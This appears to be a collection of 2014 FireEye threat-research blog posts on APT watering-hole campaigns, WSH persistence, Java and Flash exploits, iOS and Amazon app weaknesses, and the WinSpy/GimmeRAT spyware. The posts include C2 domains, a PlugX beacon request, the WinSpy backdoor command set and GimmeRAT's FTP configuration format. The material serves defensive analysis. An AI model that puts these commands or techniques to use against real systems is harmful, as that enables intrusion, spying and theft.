A number of other related domains resolve to these IPs and other IPs also in this /24 subnet. For the purposes of this blog, we’ve chosen to focus on those domains and IP that relate to the previously discussed DeputyDog and Ephemeral Hydra campaigns.

You may recall that dll[.]freshdns[.]org, ali[.]blankchair[.]com and cht[.]blankchair[.]com were all linked to both Operation DeputyDog and Operation Ephemeral Hydra. Figure 1 illustrates the infrastructure overlaps and connections we observed between the strategic Web compromise campaign leveraging the VFW’s website, the DeputyDog, and the Ephemeral Hydra operations.

snowman-graph
Figure 1: Ties between Operation SnowMan, DeputyDog, and Ephemeral Hydra

Links to DeputyDog and Ephemeral Hydra

Other tradecraft similarities between the actor(s) responsible for this campaign and the actor(s) responsible for the DeputyDog/Ephemeral Hydra campaigns include:

  • The use of zero-day exploits to deliver a remote access Trojan (RAT)
  • The use of strategic web compromise as a vector to distribute remote access Trojans
  • The use of a simple single-byte XOR encoded (0x95) payload obfuscated with a .jpg extension
  • The use of Gh0stRat with the “HTTPS” packet flag
  • The use of related command-and-control (CnC) infrastructure during the similar time frames

We observed many similarities from the exploitation side as well. At a high level, this attack and the CVE-2013-3163 attack both leveraged a Flash file that orchestrated the exploit, and would call back into IE JavaScript to trigger an IE flaw. The code within the Flash files from each attack are extremely similar. They build ROP chains and shellcode the same way, both choose to corrupt a Flash Vector object, have some identical functions with common typos, and even share the same name.

Conclusion

These actors have previously targeted a number of different industries, including:

  • U.S. government entities
  • Japanese firms
  • Defense industrial base (DIB) companies
  • Law firms
  • Information technology (IT) companies
  • Mining companies
  • Non-governmental organizations (NGOs)

The proven ability to successfully deploy a number of different private and public RATs using zero-day exploits against high-profile targets likely indicates that this actor(s) will continue to operate in the mid to long-term.

Going To Ground with The Windows Scripting Host (WSH)

19 February 2014 at 21:56

About a month ago, I was involved in an investigation that revealed a targeted attacker using an interesting variation of a well-known persistence mechanism - a technique that is relevant both to incident responders hunting for evil and penetration testers looking to add post-exploitation methods to their toolkit. Today, I'm going to talk about this persistence mechanism and discuss some ways you might go about identifying it in your environment.

I think that the majority of folks reading this blog have encountered malware that maintains persistence via the startup folder. The startup folder is a directory that may contain binaries, scripts or shortcut files. A folder exists for each user on the system as well as for "all users." On Windows 7, for example, the Administrator startup folder resides at "C:UsersAdministratorAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup".

When a user successfully authenticates, Windows will attempt to execute any binary, run any script, or follow-up and execute any shortcut that is present within that user's startup folder. If scripts or applications are placed in the "all users" startup folder, these will be executed shortly after the system boots.

I often see the startup folder used legitimately to execute maintenance scripts written in Visual Basic or in Microsoft's batch scripting language. I also frequently see that applications install shortcut, or LNK, files within the startup folder that point to applications on disk. Malicious use of this directory, however, is most often associated with commodity malware - often accomplished by dropping an executable into the startup folder.

I've also seen a few variants of commodity malware that install a LNK file in the startup folder and deploy an EXE into a directory that the user can write to, like " C: users local settings emp ". LNK files contain several kinds of useful metadata, but for today's purposes we're interested in LNK files as pointers to other files.

In this recent case, we identified a novel technique that indirectly loads malicious scripts by means of LNK files in a user's start-up folder. The LNK file was designed to invoke the Windows scripting host (WSH). The WSH comes in both a GUI version, "wscript.exe", and a command-line version, "cscript.exe". The WSH can interpret Visual Basic scripts, commonly denoted by the file extension ".vbs", and Jscripts (Microsoft's implementation of JavaScript), commonly denoted by the file extension ".js". The malicious LNK file invoked "wscript.exe" to interpret a JScript file stored within a specific user's profile. Here's a cleaned-up excerpt parsed from the LNK file using lnk-parser, depicting the relative path to the WSH (in yellow) and an argument (in green) which points to a JScript file:

The JScript we found used an ActiveXObject object to create an instance of Internet Explorer and open a URL hosted by a code-sharing cloud service. Here's what that looks like:

This script connected to a remote system that provided command and control (C2) functionality , which included collecting system information from the infected machine and providing the attacker with the ability to execute commands via the command console, "cmd.exe". During analysis of the affected system, we found significant evidence in URL History for the Internet Explorer browser that depicted requests to the malicious URL. The requests for URLs looked like "http://hostname-4. legitcloudservice .com/?action=get&mt==". As depicted in the code snippet above, the base64-encoded string consisted of the Windows domain, username, and NetBIOS name values separated by the pipe (|) character.

Though somewhat convoluted and reliant on basic techniques, this persistence mechanism provides several advantages to an attacker. It avoids the need to create or execute a malicious binary on the targeted system, and similarly does not require any registry keys or settings to automatically load upon start-up or user login. This can help bypass application whitelisting and host-based intrusion prevention systems tuned to detect or block such activity. In this specific case, the attacker used network traffic generated by the malicious script to access legitimate, commonly-used web sites via HTTP. This traffic would blend into the normal "noise" of an enterprise network and evade detection.

One way to detect this form of persistence is to use an IOC that examines files within the Startup folder for references to the WSH. Investigators should examine each LNK file that this IOC identifies to determine whether the WSH is being used to launch a script; investigators should also analyze all scripts for malicious functions and network indicators. Here is an example IOC:

Network detection is a little trickier because an attacker could implement network communication in a multitude of ways, depending on the purpose of the script, the scripting language and the protocol. For the example we referenced, the URL parameters "?action=get&mt=" might make a good network indicator; here's an example SNORT signature to identify those parameters:

Image 4

Operation GreedyWonk: Multiple Economic and Foreign Policy Sites Compromised, Serving Up Flash Zero-Day Exploit

20 February 2014 at 18:00

Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign — this one exploiting a zero-day vulnerability in Flash. We are collaborating with Adobe security on this issue. Adobe has assigned the CVE identifier CVE-2014-0502 to this vulnerability and released a security bulletin.

As of this blog post, visitors to at least three nonprofit institutions — two of which focus on matters of national security and public policy — were redirected to an exploit server hosting the zero-day exploit. We’re dubbing this attack “Operation GreedyWonk.”

We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties.

The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites. The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters.

Discovery

On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player (12.0.0.4 and 11.7.700.261). Visitors to the Peter G. Peterson Institute for International Economics (www.piie[.]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe.

We subsequently found that the American Research Center in Egypt (www.arce[.]org) and the Smith Richardson Foundation (www.srf[.]org) also redirected visitors the exploit server. All three organizations are nonprofit institutions; the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues.

Mitigation

To bypass Windows’ Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations:

  • Windows XP
  • Windows 7 and Java 1.6
  • Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010

Users can mitigate the threat by upgrading from Windows XP and updating Java and Office. If you have Java 1.6, update Java to the latest 1.7 version. If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version.

These mitigations do not patch the underlying vulnerability. But by breaking the exploit’s ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning.

Vulnerability analysis

GreedyWonk targets a previously unknown vulnerability in Adobe Flash. The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution.

ASLR bypass

The attack uses only known ASLR bypasses. Details of these techniques are available from our previous blog post on the subject (in the “Non-ASLR modules” section).

For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English (“en”) and Chinese (“zh-cn” and “zh-tw”).

On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C++ runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010.

Java 1.6 is no longer supported and does not receive security updates. In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6. That’s why FireEye strongly recommends upgrading to Java 1.7.

The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013. More details about this bypass are addressed by Microsoft’s Security Bulletin MS13-106 and an accompanying blog entry. FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches.

Shellcode analysis

The shellcode is downloaded in ActionScript as a GIF image. Once ROP marks the shellcode as executable using Windows’ VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions. Then it writes the file to disk with CreateFileA and WriteFile functions. Finally, it runs the file using the WinExec function.

PlugX/Kaba payload analysis

Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint. This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign.

This PlugX payload was configured with the following command-and-control (CnC) domains:

  • java.ns1[.]name
  • adservice.no-ip[.]org
  • wmi.ns01[.]us

Sample callback traffic was as follows:

POST /D28419029043311C6F8BF9F5 HTTP/1.1

Accept: */*

HHV1: 0

HHV2: 0

HHV3: 61456

HHV4: 1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.2; .NET CLR 2.0.50727; SV1)

Host: java.ns1.name

Content-Length: 0

Connection: Keep-Alive

Cache-Control: no-cache

Campaign analysis

Both java.ns1[.]name and adservice.no-ip[.]org resolved to 74.126.177.68 on Feb. 18, 2014. Passive DNS analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4, 2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014.  java.ns1[.]name also resolved to 192.74.246.219 on February 18.

Domain First Seen Last Seen IP Address
adservice.no-ip[.]org adservice.no-ip[.]org 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68
java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-19 2014-02-19 74.126.177.68 74.126.177.68
java.ns1[.]name java.ns1[.]name 2014-02-18 2014-02-18 2014-02-18 2014-02-18 192.74.246.219 192.74.246.219
wmi.ns01[.]us wmi.ns01[.]us 2014-02-17 2014-02-17 2014-02-17 2014-02-17 192.74.246.219 192.74.246.219
proxy.ddns[.]info proxy.ddns[.]info 2013-05-02 2013-05-02 2014-02-18 2014-02-18 103.246.246.103 103.246.246.103
updatedns.ns02[.]us updatedns.ns02[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103
updatedns.ns01[.]us updatedns.ns01[.]us 2013-09-06 2013-09-06 2013-09-06 2013-09-06 103.246.246.103 103.246.246.103
wmi.ns01[.]us wmi.ns01[.]us 2013-07-04 2013-07-04 2013-07-15 2013-07-15 103.246.246.103 103.246.246.103

 

MD5 Family Compile Time Alternate C2s
7995a9a6a889b914e208eb924e459ebc 7995a9a6a889b914e208eb924e459ebc PlugX PlugX 2012-06-09 2012-06-09 fuckchina.govnb[.]com fuckchina.govnb[.]com
bf60b8d26bc0c94dda2e3471de6ec977 bf60b8d26bc0c94dda2e3471de6ec977 PlugX PlugX 2010-03-15 2010-03-15 microsafes.no-ip[.]org microsafes.no-ip[.]org
fd69793bd63c44bbb22f9c4d46873252 fd69793bd63c44bbb22f9c4d46873252 Poison Ivy Poison Ivy 2013-03-07 2013-03-07 N/A N/A
88b375e3b5c50a3e6c881bc96c926928 88b375e3b5c50a3e6c881bc96c926928 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A
cd07a9e49b1f909e1bd9e39a7a6e56b4 cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison Ivy Poison Ivy 2012-06-11 2012-06-11 N/A N/A

The Poison Ivy variants that connected to the domain wmi.ns01[.]us had the following unique configuration properties:

Domain First Seen Last Seen IP Address
fuckchina.govnb[.]com fuckchina.govnb[.]com 2013-12-11 2013-12-11 2013-12-11 2013-12-11 204.200.222.136 204.200.222.136
microsafes.no-ip[.]org microsafes.no-ip[.]org 2014-02-12 2014-02-12 2014-02-12 2014-02-12 74.126.177.70 74.126.177.70
microsafes.no-ip[.]org microsafes.no-ip[.]org 2013-12-04 2013-12-04 2013-12-04 2013-12-04 74.126.177.241 74.126.177.241

We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same “java7” password, which was dropped by an Adobe Flash exploit (CVE-2012-0779). In this previous incident, visitors to the Center for Defense Information website (www.cdi[.]org — also an organization involved in defense matters — were redirected to an exploit server at 159.54.62.92.

This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758). This exploit, in turn, dropped the Poison Ivy variant. In addition to using the same password “java7,” this variant was configured with the mutex with the similar pattern of “YFds*&^ff” and connected to a CnC server at windows.ddns[.]us.

Using passive DNS analysis, we see the domains windows.ddns[.]us and wmi.ns01[.]us both resolved to 76.73.80.188 in mid-2012.

Domain First Seen Last Seen IP Address
wmi.ns01.us wmi.ns01.us 2012-07-07 2012-07-07 2012-09-19 2012-09-19 76.73.80.188 76.73.80.188
windows.ddns.us windows.ddns.us 2012-05-23 2012-05-23 2012-06-10 2012-06-10 76.73.80.188 76.73.80.188

During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e). This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52). This Poison Ivy variant connected to a CnC server at ids.ns01[.]us. The domain ids.ns01[.]us also overlaps with the domain wmi.ns01[.]us on the IP 194.183.224.75.

Domain First Seen Last Seen IP Address
wmi.ns01[.]us wmi.ns01[.]us 2012-07-03 2012-07-03 2012-07-04 2012-07-04 194.183.224.75 194.183.224.75
ids.ns01[.]us ids.ns01[.]us 2012-04-23 2012-04-23 2012-05-18 2012-05-18 194.183.224.75 194.183.224.75

The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[.]be). In this case, visitors were redirected from www.ceps[.]be to a Java exploit hosted on shop.fujifilm[.]be.

In what is certainly not a coincidence, we also observed www.arce[.]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[.]be in 2013.

greedywonk-campaign-v2

Conclusion

This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues. The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically.

This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems. Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid-term.

Write Once, Exploit Everywhere: FireEye Report Analyzes Four Widely Exploited Java Vulnerabilities

21 February 2014 at 15:00

Over the last couple of decades, Java has become the lingua franca of software development, a near-universal platform that works across different operating systems and devices. With its “write once, run anywhere” mantra, Java has drawn a horde of developers looking to serve a large user base as efficiently as possible.

Cyber attackers like Java for many of the same reasons. With a wide pool of potential targets, the platform has become the vehicle of choice for quickly dispersing lucrative crimeware packages.

In our continuing mission to equip security professionals against today’s advanced cyber threats, FireEye has published a free report, “Brewing Up Trouble: Analyzing Four Widely Exploited Java Vulnerabilities.” The report outlines four commonly exploited Java vulnerabilities and maps out the step-by-step infection flow of exploits kits that leverage them.

Download the paper to learn more about these vulnerabilities:

  • CVE-2013-2471, which allows attackers to override Java’s getNumDataElements() method, leading to memory corruption.
  • CVE-2013-2465,  which involves insufficient bounds checks in the storeImageArray() function. This vulnerability is used by White Lotus and other exploit kits.
  • CVE-2012-4681,  which allows attackers to bypass security checks using the findMethod () function.
  • CVE-2013-2423, which  arises due to insufficient validation in the findStaticSetter () method, leading to Java type confusion. This vulnerability employed by RedKit and other exploits kits.

As explained in the paper, Java’s popularity among the developers and widespread use in Web browsers all but  guarantees continuing interest from threat actors.

Motivated by the profits, cyber attackers are bound to adopt more intelligent exploit kits. And these attacks will continue to mushroom as more threat actors scramble for a piece of the crimeware pie.

Background Monitoring on Non-Jailbroken iOS 7 Devices -- and a Mitigation

By: Min Zheng
25 February 2014 at 01:24

Background monitoring mobile applications has become a hot topic on mobile devices. Existing reports show that such monitoring can be conducted on jailbroken iOS devices. FireEye mobile security researchers have discovered such vulnerability, and found approaches to bypass Apple's app review process effectively and exploit non-jailbroken iOS 7 successfully. We have been collaborating with Apple on this issue.

fig1

Fig.1 Background Monitoring

We have created a proof-of-concept "monitoring" app on non-jailbroken iOS 7.0.x devices. This “monitoring” app can record all the user touch/press events in the background, including, touches on the screen, home button press, volume button press, and TouchID press, and then this app can send all user events to any remote server, as shown in Fig.1. Potential attackers can use such information to reconstruct every character the victim inputs.

Note that the demo exploits the latest 7.0.4 version of iOS system on a non-jailbroken iPhone 5s device successfully. We have verified that the same vulnerability also exists in iOS versions 7.0.5, 7.0.6, and 6.1.x. Based on the findings, potential attackers can either use phishing to mislead the victim to install a malicious/vulnerable app or exploit another remote vulnerability of some app, and then conduct background monitoring.

fig2

Fig.2 Background App Refresh Settings

fig3

Fig.3 Killing An App on iOS7

iOS7 provides settings for "background app refresh". Disabling unnecessary app's background refreshing contributes to preventing the potential background monitoring. However, it can be bypassed. For example, an app can play music in the background without turning on its "background app refresh" switch. Thus a malicious app can disguise itself as a music app to conduct background monitoring.

Before Apple fixes this issue, the only way for iOS users to avoid this security risk is to use the iOS task manager to stop the apps from running in the background to prevent potential background monitoring. iOS7 users can press the Home button twice to enter the task manager and see preview screens of apps opened, and then swipe an app up and out of preview to disable unnecessary or suspicious applications running on the background, as shown in Fig.3.

We conducted this research independently before we were aware of this recent report. We hope this blog could help users understand and mitigate this threat further.

Acknowledgement: Special thanks to Jari Salomaa for his valuable comments and feedback. We also thank Raymond Wei, Dawn Song, and Zheng Bu for their valuable help on writing this blog.

Amazon's Mobile Shopping Clients and CAPTCHA

By: Min Zheng
26 February 2014 at 20:39

Amazon is a popular online retailer serving millions of users. Unfortunately, FireEye mobile security researchers have found security issues within Amazon’s mobile apps on both Android and iOS platforms through which attackers can crack the passwords of target Amazon accounts. Amazon confirmed our findings and hot fixed the issue.

Recently, we found two security issues within Amazon’s mobile apps on both Android and iOS platforms:

  • No limitation or CAPTCHA for password attempts
  • Weak password policy

Attackers can exploit these two security issues remotely against target Amazon accounts.

fig1 Figure 1. Verification Code for Wrong Password Attempts

A CAPTCHA ("Completely Automated Public Turing test to tell Computers and Humans Apart") is a challenge-response test designed to determine whether the user is a human. CAPTCHAs are well adopted for preventing programmed bots from accessing online services for bad purposes, such as conducting denial-of-service attacks, harvesting information and cracking passwords.

The web version of Amazon requires the user to complete a CAPTCHA after ten incorrect password attempts (Figure 1), to prevent password cracking. However, Amazon’s mobile apps haven’t adopted such protection using CAPTCHA (Figure 2 and Figure 3). This design flaw provides attackers the chance to crack any Amazon account’s password using brute force.

 fig2 Figure 2. Amazon Android App

fig3 Figure 3. Amazon iOS App

Furthermore, Amazon doesn’t have a strong password strength requirement. It accepts commonly used weak passwords such as "123456" and "111111". We know that the weaker the password, the easier for hackers to break into an account. Therefore, allowing weak passwords puts account safety to potential security risks. Given that there are many well-known previous password leakages, attackers can use these password leakages as knowledge bases to conduct password cracking.

As a proof of concept, we figured out the password of one Amazon account we setup within 1000 attempts, using the latest version (2.8.0) of Amazon’s Android shopping client.

After receiving our vulnerability report, Amazon hot fixed the first issue by patching their server. Now if the user tries multiple incorrect passwords, the server will block the user from login (Figure 4). In the future, we suggest adding CAPTCHA support for Amazon mobile (Android and iOS) apps, and enforcing requirements for stronger passwords.

fig4 Figure 4. Wrong Password Block

The 2013 FireEye Advanced Threat Report!

27 February 2014 at 14:00

FireEye has just released its 2013 Advanced Threat Report (ATR), which provides a high-level overview of the computer network attacks that FireEye discovered last year.

In this ATR, we focused almost exclusively on a small, but very important subset of our overall data analysis – the advanced persistent threat (APT).

APTs, due to their organizational structure, mission focus, and likely some level of nation-state support, often pose a more serious danger to enterprises than a lone hacker or hacker group ever could.

Over the long term, APTs are capable of cyber attacks that can rise to a strategic level, including widespread intellectual property theft, espionage, and attacks on national critical infrastructures.

The data contained in this report is gleaned from the FireEye Dynamic Threat Intelligence (DTI) cloud, and is based on attack metrics shared by FireEye customers around the world.

Its insight is derived from:

  • 39,504 cyber security incidents
  • 17,995 malware infections
  • 4,192 APT incidents
  • 22 million command and control (CnC) communications
  • 159 APT-associated malware families
  • CnC infrastructure in 206 countries and territories

FireEye 2013 Threat Report Final

Based on our data, the U.S., South Korea, and Canada were the top APT targets in 2013; the U.S., Canada, and Germany were targeted by the highest number of unique malware families.

The ATR describes attacks on 20+ industry verticals. Education, Finance, and High-Tech were the top overall targets, while Government, Services/Consulting, and High-Tech were targeted by the highest number of unique malware families.

In 2013, FireEye discovered eleven zero-day attacks. In the first half of the year, Java was the most common target for zero-days; in the second half, FireEye observed a surge in Internet Explorer (IE) zero-days that were used in watering hole attacks, including against U.S. government websites.

Last year, FireEye analyzed five times more Web-based security alerts than email-based alerts – possibly stemming from an increased awareness of spear phishing as well as a more widespread use of social media.

In sum, the 2013 ATR offers strong evidence that malware infections occur within enterprises at an alarming rate, that attacker infrastructure is global in scope, and that advanced attackers continue to penetrate legacy defenses, such as firewalls and anti-virus (AV), with ease.

From Windows to Droids: An Insight in to Multi-vector Attack Mechanisms in RATs

18 March 2014 at 08:00

FireEye recently observed a targeted attack on a U.S.-based financial institution via a spear-phishing email. The payload used in this campaign is a tool called WinSpy, which is sold by the author as a spying and monitoring tool. The features in this tool resemble that of many other off-the-shelf RATs (Remote Administration Tools) available today. We also observed a second campaign by a different attacker where the WinSpy payload was implanted in macro documents to attack various other targets in what appears to be a spam campaign.

The command-and-control (CnC) infrastructure used in the attack against the financial institution is owned and controlled by author of WinSpy. This does not necessarily mean the author is behind attack as the author provides the use of his server for command and control as well as to store the victim data as the default option in the WinSpy package. This feature allowing shared command-and-control infrastructure advertently or inadvertently provides another level of anonymity and deniability for the attacker.

While analyzing the windows payloads for WinSpy we discovered that it also had Android spying components, which we have dubbed GimmeRat. The Android tool has multiple components allowing the victim’s device to be controlled by another mobile device remotely over SMS messages or alternatively through a Windows-based controller. The Windows-based controller is simplistic and requires physical access to the device. The recent surge in Android-based RATs such as Dendroid and AndroRAT shows a spike in the interest of malicious actors to control mobile devices. GimmeRAT is another startling example of malicious actors venturing into the Android ecosystem.

Attacks Employing WinSpy

While the WinSpy tool is being sold as a spying and monitoring tool for home users, its remote administration capabilities fits the bill for an adversary looking to infiltrate a target or organization. This tool also adds another layer of anonymity for the attacker by using the default command-and-control server provided as part of the WinSpy package.

Figure 1 - Mechanism of attack on financial institution employing WinSpy

The attack targeting a U.S. financial institution arrives via a spear-phishing email. The attachment (b430263181959f4dd681e9d5fd15d2a0) in the email is a large NSIS packed file, which when detonated launches a screenshot of a pay slip as decoy to avert the attention of the victim. It also drops and launches various components as seen in Figure 1 and Figure 2.

Figure 2 - Components of WinSpy

We observed a second attacker using WinSpy in macro documents (78fc7bccd86c645cc66b1a719b6e1258, f496bf5c7bc6843b395cc309da004345) as well as standalone executables (8859bbe7f22729d5b4a7d821cfabb044, 2b19ca87739361fa4d7ee318e6248d05). These arrive either as an attachment or as a link to the payload in emails. The documents had the unique metadata shown below:

File Type                       : XLS

MIME Type                    : application/vnd.ms-excel

Author                          : MR. FRANK

Last Modified By              : MR. FRANK

Software                        : Microsoft Excel

Create Date                    : 2012:02:07 10:41:21

Modify Date                     : 2012:02:07 10:41:29

Security                          : None

Code Page                       : Windows Latin 1 (Western European)

Company                         : USER

App Version                     : 11.5606

The email attacks were found to have attachment names such as

Western Union Slip.xls
Money Transfer Wumt.xls
Wumt.xls

Windows Components

The WinSpy modules are written in Visual Basic and use some freely available libraries such as modJPEG.bas and cJpeg.cls . The components each support various features as shown below.

Feature Component
Webcam monitoring Webcam monitoring RDS.exe RDS.exe
Screen capture & JPEG Encoder Screen capture & JPEG Encoder RDS.exe RDS.exe
Connectivity check Connectivity check RDS.exe RDS.exe
Send Victim information to CnC Send Victim information to CnC RDS.exe RDS.exe
FTP exfiltration FTP exfiltration RDS.exe RDS.exe
Status Report to CnC Status Report to CnC windns.exe windns.exe
Email/FTP exfiltration Email/FTP exfiltration windns.exe windns.exe
AV Find and Kill AV Find and Kill windns.exe windns.exe
Auto configure firewall Auto configure firewall windns.exe windns.exe
Keylogging and reports Keylogging and reports messenger.exe messenger.exe
Backdoor for remote interaction Backdoor for remote interaction rdbms.exe rdbms.exe
Microphone recording Microphone recording rdbms.exe rdbms.exe
Upload/download/execute files Upload/download/execute files rdbms.exe rdbms.exe
File system browser File system browser rdbms.exe rdbms.exe
Execute remote commands Execute remote commands rdbms.exe rdbms.exe
Send messages to remote machine Send messages to remote machine rdbms.exe rdbms.exe

The WinSpy malware creates its configuration in the registry under "SOFTWARE\MSI64" as shown in Figure 2. The various components of WinSpy read this configuration at runtime. This configuration dictates various settings such as the username, unique identifier, connection parameters, remote FTP server and credentials, filename and path for captured data, current status, etc. The various options in the configuration are abbreviations. For example "DUNIN" stands for date to uninstall, "FTSV" stands for FTP server, "FTUS" stands for FTP user, and so forth. The "SID2" value is a unique ID used to identify the infection and is generated at build time.

Figure 3 - WinSpy Configuration

The WinSpy controller has options to create a new remote file allowing you to choose various parameters and exfiltration options. The author interestingly allows for default command and control and exfiltration options to a server he controls.

Figure 4 - WinSpy Builder

The controller has options to retrieve screenshots, keylogs, and various reports from the victim’s machine. It also has the ability to interact with file system to upload and download files as well as execute new payloads.

Figure 5 - WinSpy Controller
 
 


 
 
Figure 6 - WinSpy File Browser

Command and Control

The WinSpy payloads have multiple communication methods for reporting status, attacker interaction, and data exfiltration each of which are described below.

Method 1 - I am online :

It reports back to the authors server on port 14001 to report the victim's online status with "/P" and it receives the same command in response to acknowledge.

Figure 7 - Online Status

Method 2 - Victim Information:

It also reports back to the WinSpy author’s server on port 27171 using a secondary protocol shown below. The request contains the victim’s IP address as well as unique identifier generated at build time of the payload. The server responds with a keep alive in response to this request.

Figure 8 - Victim Information
Figure 9 - Victim information

Method 3 - SMTP Exfiltration:

It relays keylog data through SMTP if configured. It relays emails through an SMTP server running on port 37 on the WinSpy author’s server using preconfigured authentication parameters. Port 37 is typically used by NTP protocol but in this case the author has reconfigured it for SMTP relay. The X-Mailer "SysMon v1.0.0" sticks out like a sore thumb.

Figure 10 - SMTP Exfiltration

Method 4 - FTP Exfiltration:

If configured with a custom FTP server, the WinSpy payload will upload all intercepted data and report to the remote server periodically. The FTP credentials are stored in the registry configuration discussed earlier.

Method 5 - Direct Interaction:

The rdbms.exe module listens on port 443 on the victim’s machine. The attacker can directly connect to this port from the WinSpy controller and issue various commands to download captured data, upload/download files, execute files, send messages, view webcam feeds, etc. Any required data transfer is done over Port 444. It supports various commands, the significant ones are shown below. The initial connection commands shows that the author plans to implement authentication at some point in time but as it stands now anyone can connect to an infected instance using this command.

Command Description
/CLUserName.Password. /CLUserName.Password. Initialize connection from controller Initialize connection from controller
/CK /CK Acknowledge Acknowledge
/CB{OptionalPath} /CB{OptionalPath} Enumerates all files in root dir or specified path Enumerates all files in root dir or specified path
/CU{FilePath} /CU{FilePath} Uploads specified File Uploads specified File
/CD{FilePath} /CD{FilePath} Downloads file from specified path Downloads file from specified path
/CD \\\KEYLOGS /CD \\\KEYLOGS Download keylogs Download keylogs
/CD \\\WEBSITED /CD \\\WEBSITED Download websites visited detail report Download websites visited detail report
/CD \\\WEBSITES /CD \\\WEBSITES Download websites visited summary report Download websites visited summary report
/CD \\\ONLINETIME /CD \\\ONLINETIME Download online time report Download online time report
/CD \\\CHATROOM /CD \\\CHATROOM Download chat logs Download chat logs
/CD \\\PCACTIVETIME /CD \\\PCACTIVETIME Download PC active time report Download PC active time report
/RF{FilePath} /RF{FilePath} Execute remote file in specified path Execute remote file in specified path
/WO & /WE /WO & /WE Webcam init and enable Webcam init and enable
/SO /SO Start microphone recording Start microphone recording
/AR{Command} /AR{Command} Run command on remote machine Run command on remote machine
/AM{Message} /AM{Message} Sends message to remote machine Sends message to remote machine

Android Components

In the process of investigating the Windows modules for WinSpy we also discovered various Android components that can be employed to engage in surveillance of a target. We have found three different applications that are a part of the surveillance package. One of the applications requires commandeering via a windows controller and requires physical access to the device while the other two applications can be deployed in a client-server model and allow remote access through a second Android device.

Figure 11 - Deployment Scenarios for Android Components

 Windows Physical Controller:

The Windows controller requires physical access to the device and allows the attacker to retrieve screenshots from the infected device. This component is designed to target a victim in physical proximity. The various options available in the Windows controller are shown in Figure 12 below.

Figure 12 - Windows Controller for Android Device

 

The functionality and structure of the components on the victim’s device are described below in detail.

Component 1 -  GlobalService.apk

 

Components:
          a. Services
                    Global Service
          b. Methods
                    Sleeper
                    ScreenCapturer
                    ServiceActivity

Main activity

The app is started with an intent that is provided from the desktop android executable. The intent is a "com.google.system.service.StartUpReceiver" intent with the extra field of "interval" which holds a string of the form

“interval@@hostname@@port@@username@@password@@working_directory@@delete_after_upload”

The hostname, port, username, and password are used to connect to the attackers' FTP server to send screenshots, which is explained, in a later section. Once this intent is received the GlobalService is restarted with the interval parameter..

GlobalService

This service contains the following variables

         private static final String TAG = "GlobalService";
         private static boolean isScreenON;
         private int mInterval;
         private KeyguardManager mKeyGaurdManager;
         private BroadcastReceiver mPowerKeyReceiver;
         private Timer mSyncTimer;
         private TimerTask mSyncTimerTask;

It goes on to check the value of the isScreenON variable. If the screen is on and if the keyguard has been unlocked, it calls the startScreenCaptureThread() method.

The startScreenCaptureThread method sets the value of the mInterval variable to the value of interval passed to GlobalService. It also sets the properties of the mSyncTimerTask to point to the takeScreenshot method from the ScreenCapturer class such that the thread, when invoked, will take a screenshot every ‘interval’ number of seconds.

The takeScreenshot method in the ScreenCapturer class connects to a native service using a local socket. It connects to port 42345 on localhost. The native service, which is listening on the same port, accepts strings on the socket.

The takeScreenshot method sends a string of the form ‘/data/local/tmp/images/screenshot_DATE.png’ to the underlying native service. The native service checks for the string after the last trailing slash “/”, “screenshot” after the last trailing slash will cause the native service to take a screenshot by issuing the “screencap –p” method. The screenshot taken will be written to the path specified by the string passed as an argument.

